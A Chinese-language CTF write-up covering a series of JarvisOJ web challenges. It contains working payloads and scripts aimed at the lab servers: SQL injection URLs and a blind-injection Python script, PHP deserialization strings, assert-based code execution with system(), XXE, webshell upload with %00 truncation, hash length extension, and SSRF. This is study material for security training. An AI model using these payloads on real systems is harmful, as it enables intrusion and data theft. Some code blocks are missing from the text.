在响应头中得到了hint
也就是说我们post传入的pass经过了md5加密,我们都知道这种登陆问题最常见的payload就是类似于admin'or 1=1#
这种,同理我们只要能找到一个md5加密后符合这种类似格式的语句即可,在实验吧当中也有一道相似的题目,最后的payload为ffifdyop
,这个字符串经过md5加密后的结果为
符合上文提到的格式要求,提交后得到flag。
burp抓包后添加X-Forwarded-For: 127.0.0.1,得到flag。
这题不知道怎么搞得,使用了curl指令用51端口进行访问也没有得到flag…
右键查看元素,看到图片指向了一个包含着任意文件读取的url
访问一下看看
而且可以注意到showing.php?img=一个base64加密的文件名
,我们尝试一下能不能直接读取flag.php
,payload:showing.php?img=ZmxhZy5waHA=
并不可以…但是我们看到了网页是采取readfile()
方法对我们的输入进行处理,也就印证了我们对于任意文件读取类型漏洞的判断,既然没有flag.php
,那么再尝试访问一下index.php
,payload=showing.php?img=aW5kZXgucGhw
得到
也就是说需要我们以get的方式传入一个名为class的变量,其内容是一个Shield类,并且会对其进行反序列化操作。但Shield类的构造方式我们未知,再去访问一下shield.php
,payload:showimg.php?img=c2hpZWxkLnBocA==
可以得到
稍微整理一下
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
首先是flag存在于pctf.php
当中,然后是Shield类的构造,需要我们传入一个名为file
的参数。类中还包含了一个readfile()
方法,如果我们传入的file当中不包含..
,/
,\\
则会读取出file的内容,我们直接传入存在flag的pctf.php
。
最后的payload为index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到flag。
f12查看元素得到提示。
访问index.phps
得到了index.php的源码。由题意可知需要我们传入三个变量,分别为$id
,$a
,$b
。首先是对$id
变量的处理,$_GET['id']
的返回值不可以为0但是$id==0
的返回值需要为true
,注意到这里用到了连续两个等于号,可以利用php弱类型比较进行绕过,只需要传入一个字符串(string会在进行比较时自动转换为int类型的0)。然后是$a
中不能出现'.'
,file_get_contents()
函数是用于将文件的内容读入到一个字符串中的首选方法。利用php://input
伪协议可以向$a
写入指定的内容(1112 is a nice lab!)。最后对于变量$b
,长度需要大于5,然后将111
和$b
的第一个字符拼接起来(eregi()函数在一个字符串搜索指定的模式的字符串),但是$b
的第一位又不可以是4,可以联系eregi()函数的%00截断的性质,当eregi()匹配到%00是便不再向下匹配了,如果我们直接传入一个%00
开头的数,则eregi当中的匹配便成为了eregi(“111”,“1112”)符合要求,最后的payload为:
访问一下给出的地址,可以看出是一个sql注入的题目。过滤了空格(/*1*/方式绕过)
,union和select使用双写绕过。最后的注入语句为
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database())%23
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*12*/table_name=0x636f6e74656e74)%23
http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seselectlect/*1*/1,2,(seselectlect/*1*/context/*1*/frfromom/*1*/content)%23
进入题目后只给出了一行Hello World,查看元素和响应头之后并没有得到提示,考虑源码泄露和robots.txt的问题,访问robots.txt,得到提示
访问admin_s3cr3t.php,得到了一个假flag…
看一下响应头
burp抓包修改一下cookie:admin=1
,得到flag。
一道考察XEE攻击的题目,先了解一下什么是XEE漏洞,XEE漏洞就是XML外部实体注入(XML External Entity),首先要做的是测试一下我们发送的XML内容能否被应用程序所解析,修改一下Content-Type: application/xml
,然后定义一个名为’b’外部实体,其内容为’hello’。
]>
&b;
看到了我们发送的内容已经被解析了,也就印证了XEE漏洞的存在。XML实体中的关键字’SYSTEM’会令XML解析器从url中读取内容,我们就可以利用XML解析器去访问攻击者指定的资源后得到flag。
payload:
]>
&b;
资料来源:
https://www.freebuf.com/articles/web/126788.html#
在about页面当中得到了提示,题目可能涉及git源码泄露的问题,使用工具githack进行探测,在cmd中输入指令
得到源码
查看index.php的源码,找到了关键语句。
我们可以利用assert的任意代码执行漏洞对flag.php的内容进行读取。观察语句assert("file_exists('$file')") or die("That file doesn't exist!");
,其中$file
的内容是由用户进行输入的,如果我们的输入为')
开头的话,便会使得file_exists('
语句闭合,之后我们便可以进行恶意代码的执行,payload:?page=') or print_r(file_get_contents('templates/flag.php'));%23
或者?page=') or system("cat templates/flag.php");%23
,有一点需要注意的是在对语句进行闭合的时候使用#
是无效的,可能是因为不被解析的原因,直接使用%23
就可以了。
一道考察sql注入的题目,值得注意的是对空格的过滤,可以使用/*1*/
进行绕过,然后就是普通的bool类型盲注了,直接贴脚本了
import requests
s=requests.session()
url='http://web.jarvisoj.com:32787/login.php'
c=s.get(url)
key=''
for i in range(1,50):
print(i)
for j in range(27,137):
#ans="admin'='0'||ascii(substr((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()limit/*1*/1,1),"+str(i)+",1))="+str(j)+"#"
ans="admin'='0'||ascii(substr((select/*1*/column_name/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name='admin'limit/*1*/0,1),"+str(i)+",1))="+str(j)+"#"
#ans="admin'='0'||ascii(substr((select/*1*/password/*1*/from/*1*/admin/*1*/limit/*1*/0,1),"+str(i)+",1))="+str(j)+"#"
payload={'username':ans,'password':'123'}
c=s.post(url,payload)
if '密码错误' in c.text:
key=key+chr(j)
print(key)
之后得到了:
table_name:admin
column_name:id username password
password:334cfb59c9d74849801d5acdcfdaadc3
将passwordMD5解密后得到:eTAloCrEP
使用密码以admin身份登陆后得到flag。
可见这道题目中应当涉及到了多种漏洞,首先gallery应当存在文件上传的功能,尝试一下制作一个一句话图片木马后使用菜刀连接,很可惜失败了。仔细观察一下网站的构架,其url形式为http://web.jarvisoj.com:32785/index.php?page=view
,可能存在有任意文件读取的漏洞,,使用一句话制作一句话图片木马进行上传,修改
?page
后的内容为uploads/xxx.jpg
(xxx为图片的id)进行读取,得到错误信息
原来网站在进行处理的时候会自动加上.php
,但是我们想要实现任意文件读取的的文件为.jpg
结尾,此时使用%00
截断进行绕过,payload:uploads/xxx.jpg
,依旧没有得到flag…
考虑可能是我们的一句话中的内容被waf监测到,故修改一句话木马为,重新制作一句话图片马,上传访问得到flag。
题目要求我们以admin的方式登陆来获得flag,值得注意的点是有两个可疑的cookie值,分别是hah和role
hah的长度为32,应当是经过hash函数加密的值,role则为guest的序列化输出,尝试将guest字符串md5加密,结果和hah的值并不相同。
考虑收集其余的资源,利用SourceLeakHacker进行源码泄露的探测
访问后得到源码
内容有点杂乱,整合一下:hah的值是由未知的$salt
和cookie中的role值的逆置拼接起来并md5加密得到的,我们已经知道了$salt
和guest序列化的值拼接后的md5值,很明显是一个利用hash函数拓展攻击解决的题目,使用hashpump(注意序列化后的逆置问题)
使用burp抓包修改role和hah的值,得到flag。
这道题真的是没看出来哪里有破绽,看了大佬们的博客之后才知道关键的问题出在app.js
当中(orz),这时我们随便在密码的输入框当中输入数据后得到报错的信息Wrong Password!!
,在app.js
当中搜索指定的字符串
得知了用于验证密码是否正确的checkpass.json
,如果该json的返回值是true的话则返回成功。此时我们在app.js
当中搜索checkpass.json
后观察其结构
首先是两组数据o和r,然后是判断语句
可以判断出其是一个二十五元一次的方程组,如果我们输入的数据为方程组的解,则该json的返回值为1。在线解密一下
利用python脚本转化为char类型得到flag。
进入题目后看到了一段php语句。
可以看出有一个名为OowoO
的类,内部有一个名为mdzz
的公有成员属性,构造任意的OowoO
类的对象时便会给此对象的mdzz
属性赋值为phpinfo();
,执行析构函数时则会调用mdzz
,也就是展示phpinfo
的内容。
题目的关键点在于开头的一句话当中
我们可以看到index.php当中使用的session序列化处理器是php
,但是在phpinfo()
当中session的序列化处理器则为php_serialize
,之后的内容就需要学习一下了
http://drops.wooyun.org/tips/3909
漏洞出现在对于不同的序列化处理器,对应的有不同的处理格式,其中常见的有
此时我们存储session的序列化处理器采用的为php_serialize
,如果我们传入的数据为|O:8:"stdClass":0:{}'
,存储时采用的序列化处理器为php_serialize
则存储的格式为a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
,而此时我们读取时采用的序列化处理器为php
,反序列化后的内容为array(1) { ["a:1:{s:4:"ryat";s:20:""]=> object(stdClass)#1 (0) {}
,可以看出我们通过注入|
后成功实现了对stdClass
的实例化。但是题目本身并没有给我们利用该漏洞的机会,此时可以通过Session Upload Progress
实现session的传入。
学习资料:
https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO
https://blog.csdn.net/wy_97/article/details/78430690
当一个上传在处理中,同时POST一个与ini中设置的session.upload_progress.name同名的变量时,当PHP检测到这种POST请求时,会在session中添加一组数据,因此可以通过Session Upload Progress
来对session进行设置。
在本地创建index.html来实现对网站post和上传的同时进行。其内容为
test
此时只需要修改file的名称,便可以实现对于session的注入。
接下来就是对于OowoO
类的序列化处理。首先读取当前的文件列表。O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
需要注意的是作为注入关键的|
的补充和"
的转义问题,修改为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
得到关键的文件名称:Here_1s_7he_fl4g_buT_You_Cannot_see.php
之后对其进行print_r(file_get_contents())
读取,获得flag。
提示要先找到源码,使用源码泄露工具扫描一下
f12得到源码
题目的关键点在于闭合时使用的反引号和desc
语句,对于desc
语句,其可以执行两个参数
{DESCRIBE | DESC} tbl_name [col_name | wild]
我们可以通过闭合语句来进行注入,剩下的就和普通的注入相同了(需要注意的是'
被过滤了,查询列名时可以使用16进制编码进行绕过),注入语句为:
http://web.jarvisoj.com:32794/?table=flag`%20`union%20select%20database()limit%201,1
http://web.jarvisoj.com:32794/?table=test`%20`union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()limit%201,1
http://web.jarvisoj.com:32794/?table=test`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
库名:61d300
表名:secret_flag,secret_test
列名:flagUwillNeverKnow
选择以管理员身份登陆,被告知不是admin,f12查看源码后得到提示admin ip is 202.5.19.128
想当然的使用了X-Forwarded-For和Client-Ip后均失败。查看网站首页的图片,观察到菜刀图片的url为proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
考虑到问题的关键可能是在此处修改ip地址后对admin页面进行访问,payload:proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
得到提示
之后查看robots.txt,得到了关键的网页
访问第一个没有响应,再访问第二个,也就是第一个网页相关的代码。是一大堆看不懂的颜文字,复制到本地运行一下
也就是说我们post的360会以eval的方式被执行,我们选择post进去一个phpinfo()
,得到flag。